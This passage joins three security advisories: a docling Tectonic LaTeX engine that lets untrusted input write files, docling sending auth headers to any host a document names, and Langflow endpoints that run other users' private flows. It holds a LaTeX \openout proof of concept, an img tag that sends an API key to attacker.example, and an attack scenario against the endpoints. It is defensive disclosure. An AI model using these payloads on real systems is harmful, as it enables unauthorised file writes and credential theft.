`tikz_engine_allow_shell_escape` explicitly (default `False`), so this default only affects code that instantiates `TectonicEngine` directly. ### Affected configurations - Affected: callers that set `tikz_engine="tectonic"`, have a `tectonic` binary available (on `PATH` or in the docling cache), and convert untrusted LaTeX. - Not affected: the default configuration (`tikz_engine=None`). docling does not install `tectonic` automatically, and the CLI exposes no option to enable it. ### Impact Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly. ### Proof of concept ```latex \documentclass{article} \usepackage{tikz} \begin{document} \begin{tikzpicture} \immediate\openout15=/tmp/docling-tectonic-poc.txt \immediate\write15{written by the input document} \immediate\closeout15 \node {x}; \end{tikzpicture} \end{document} ``` Converting this file with `LatexBackendOptions(tikz_engine="tectonic")` creates `/tmp/docling-tectonic-poc.txt`. ### Patches Mitigated in docling 2.132.0 by [#4419](https://github.com/docling-project/docling/pull/4419): - `TectonicEngine` now defaults to `allow_shell_escape=False`, and without shell escape Tectonic runs with `--untrusted` and `--only-cached`. - Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the `\openin`, `\openout`, `\XeTeXpicfile` or `\XeTeXpdffile` primitives, or names an absolute, home, drive-letter or parent-directory path in `\input`, `\include`, `\includegraphics`, `\InputIfFileExists` or `\graphicspath`. This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the [pipeline options reference](https://github.com/docling-project/docling/blob/main/docs/reference/pipeline_options.md), untrusted LaTeX rendered with `tikz_engine="tectonic"` should still be processed in an isolated environment. ### Workarounds Upgrade to 2.132.0. For older versions: - Do not enable `tikz_engine="tectonic"` for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network). - Never set `tikz_engine_allow_shell_escape=True` for untrusted input.

### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

### Summary Before **Langflow 1.10.1**, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path: - `POST /api/v1/build/{flow_id}/vertices` (`retrieve_vertices_order`) - `POST /api/v1/build/{flow_id}/vertices/{vertex_id}` (`build_vertex`) Any authenticated user who knows (or obtains) another user's `flow_id` could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response. Both routes are declared with `deprecated=True, include_in_schema=False`, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses `POST /api/v1/build/{flow_id}/flow`), so they are only reachable by direct HTTP requests. The issue is fixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153). ### Details In affected versions, both handlers go straight to the graph loader: - `retrieve_vertices_order` (`src/backend/base/langflow/api/v1/chat.py`, lines 81-159 in 1.9.1) only required authentication via `dependencies=[Depends(get_current_active_user)]`. The user was never injected into the handler, and the flow was loaded with `build_graph_from_db(flow_id=flow_id, ...)`. - `build_vertex` (`chat.py`, lines 320-491 in 1.9.1) receives `current_user`, but only uses it for variable resolution (`user_id=str(current_user.id)`). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by `flow_id`, or rebuilt with `build_graph_from_db` on a cache miss. - `build_graph_from_db_no_cache` (`src/backend/base/langflow/api/utils/flow_utils.py`) does a bare primary-key lookup, `session.get(Flow, flow_id)`, with no owner filter. The supported replacement, `POST /api/v1/build/{flow_id}/flow`, already restricted the lookup to the owner or a `PUBLIC` flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the `_read_flow` fix for GHSA-8c4j-f57c-35cf. Additional side effects in affected versions: - `retrieve_vertices_order` stores the graph in the chat-service cache under the victim's `flow_id` (`chat_service.set_cache(str(flow_id), graph)`). When the request includes a `data` body, the cached graph is attacker-supplied. - `build_vertex` schedules `log_vertex_build` for the victim's `flow_id`, so attacker-triggered builds are recorded in the victim flow's vertex build history. Note on older versions: up to and including **1.7.1**, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0. ### Attack scenario 1. The attacker authenticates as any valid user. 2. The attacker obtains a victim `flow_id` (shared URLs, exported flow files, logs, screenshots, etc.). 3. `POST /api/v1/build/{victim_flow_id}/vertices` returns **200 OK** with `{"ids": [...], "run_id": "...", "vertices_to_run": [...]}` listing the victim flow's vertex IDs (component type plus suffix, e.g. `ChatInput-abc12`). 4. The attacker calls `POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id}` for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker. ### Impact - **Confidentiality (Low):** Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs. - Global variables and credentials in the variable store are **not** exposed, because variable resolution uses the caller's `user_id`. - The victim's stored flow definition is not returned wholesale. - **Integrity (Low):** The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's `flow_id`. The attacker cannot modify the stored flow. - **Availability:** None. The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical. ### Proof of concept Observed on `langflow==1.9.1` using the project's test client and in-memory SQLite fixtures (see the attached `poc.zip`): | Request | Expected (hardened) | Observed on 1.9.1 | |---|---|---| | Attacker → `POST /api/v1/build/{victim_flow_id}/vertices` | `404 Not Found` | `200 OK` with vertex order payload | | Attacker → `POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id>` | `404 Not Found` | `500` `{"detail":"Vertex <id> not found"}`: the victim graph was loaded before the vertex lookup failed | | Owner (